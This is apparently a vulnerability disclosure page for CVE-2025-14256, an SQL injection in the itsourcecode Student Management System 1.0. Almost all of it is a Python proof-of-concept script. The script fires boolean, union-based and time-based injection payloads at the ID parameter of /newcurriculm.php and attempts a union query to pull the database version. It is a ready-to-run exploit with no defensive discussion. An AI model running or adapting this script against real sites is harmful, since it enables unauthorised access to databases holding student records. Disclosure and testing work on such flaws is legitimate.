CVE-2025-14256 itsourcecode学生管理系统SQL注入漏洞

import requests # CVE-2025-14256 SQL Injection PoC for itsourcecode Student Management System 1.0 # Target: /newcurriculm.php file, ID parameter target_url = "http://target.com/newcurriculm.php" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", # Basic boolean-based injection "1' UNION SELECT NULL--", # Union-based injection "1' AND SLEEP(5)--", # Time-based blind injection "1' AND 1=1--", # Boolean test (true) "1' AND 1=2--", # Boolean test (false) ] def test_sql_injection(url, param='ID'): print(f"[*] Testing SQL injection on {url}") print(f"[*] Parameter: {param}") for payload in payloads: params = {param: payload} try: response = requests.get(url, params=params, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Status: {response.status_code}") print(f"[*] Length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'mysql' in response.text.lower(): print("[!] Potential SQL error detected!") print("-" * 50) except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") def extract_database_info(url): # Union-based injection to extract database version payload = "1' UNION SELECT NULL,@@version--" params = {"ID": payload} try: response = requests.get(url, params=params, timeout=10) print(f"[*] Database version extraction payload sent") return response.text except: return None if __name__ == "__main__": test_sql_injection(target_url) extract_database_info(target_url)